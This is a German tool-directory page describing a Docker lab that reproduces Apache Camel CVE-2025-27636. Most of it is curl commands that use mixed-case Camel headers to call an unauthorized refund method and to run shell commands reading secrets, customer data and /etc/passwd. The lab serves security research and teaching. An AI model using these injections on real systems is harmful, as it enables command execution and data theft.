Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-27636-demo — Demonstriert Apache Camel CVE-2025-27636 mit Docker-basierter Reproduktion von Header-Injection-Angriffen, einschließlich Bean-Methoden-Injection und Befehlsausführung für Sicherheitsforschung und Bildung. | Kitploit
Tools/GitHubGitHub/crystallen1/cve-2025-27636-demo
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungRed Teaming
GitHubcrystallen1/cve-2025-27636-demo

CVE-2025-27636-demo

Demonstriert Apache Camel CVE-2025-27636 mit Docker-basierter Reproduktion von Header-Injection-Angriffen, einschließlich Bean-Methoden-Injection und Befehlsausführung für Sicherheitsforschung und Bildung.

Repository anzeigen
vor 10 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Apache Camel CVE-Demonstration

Dieses Projekt demonstriert Sicherheitslücken in Apache Camel im Zusammenhang mit Header-Injection-Angriffen.

Docker-Build

Docker-Image erstellen:

root@kitploit:~
docker build -t camel-cve-demo .

Docker-Ausführung

Container mit allen erforderlichen Ports ausführen:

root@kitploit:~
docker run -d `
  --name camel-cve-demo `
  -p 8080:8080 `
  -p 8081:8081 `
  -p 8484:8484 `
  -v ${PWD}/logs:/app/logs `
  -e JAVA_OPTS="-Xmx512m -Xms256m" `
  camel-cve-demo

Angriffsreproduktion

1. Bean-Methoden-Injection-Angriff

Verwundbaren Endpunkt durch Injizieren von Methodennamen ausnutzen:

root@kitploit:~
# Erfolgreicher Angriff - Groß-/Kleinschreibung beachten
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "cAmelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"

# Alternative - Query-Parameter-Injection
curl.exe "http://localhost:8081/api/payment/callback?cAmelBeanMethodName=processRefund" -X POST -d "order_id=ORD999&amount=9999.99"

Vergleich (diese sollten fehlschlagen):

root@kitploit:~
# Falsche Groß-/Kleinschreibung - sollte nicht funktionieren
curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "camelbeanmethodname: processRefund" -d "order_id=ORD999&amount=9999.99"

curl.exe -X POST "http://localhost:8081/api/payment/callback" -H "CamelBeanMethodName: processRefund" -d "order_id=ORD999&amount=9999.99"

2. Befehlsausführungs-Angriff

Exec-Komponente ausnutzen, um beliebige Befehle auszuführen:

Aufklärung:

root@kitploit:~
# Aktuelles Verzeichnis prüfen
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c pwd"

# Konfigurationsverzeichnis auflisten
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c ls -la /app/config/"

# Konfigurationsdateien finden
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: /bin/sh" -H "cAmelExecCommandArgs: -c find / -name database.conf 2>/dev/null"

Datenextraktion:

root@kitploit:~
# Datenbankkonfiguration lesen
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /etc/app/config/database.conf"

# Zahlungsgeheimnisse lesen
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs: /app/secrets/payment.key"

# Kundendaten lesen
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/data/customers/customers.csv"

# Audit-Logs lesen
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/var/log/audit/audit.log"

# Systembenutzer lesen
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: cat" -H "cAmelExecCommandArgs:/etc/passwd"

# Prozesse auflisten
curl.exe -X POST http://localhost:8484/api/payment/verify-signature -H "cAmelExecCommandExecutable: ps" -H "cAmelExecCommandArgs:aux"

Angriffsergebnisse überprüfen

Angriffs-Logs im Container prüfen:

root@kitploit:~

# Nicht autorisierte Rückerstattungsversuche anzeigen
docker exec camel-cve-demo cat /tmp/unauthorized_refund.txt

Ports

  • 8080: Hauptanwendung (Frontend)
  • 8081: Bean-Injection-verwundbarer Endpunkt
  • 8484: Exec-Injection-verwundbarer Endpunkt
Tool herunterladen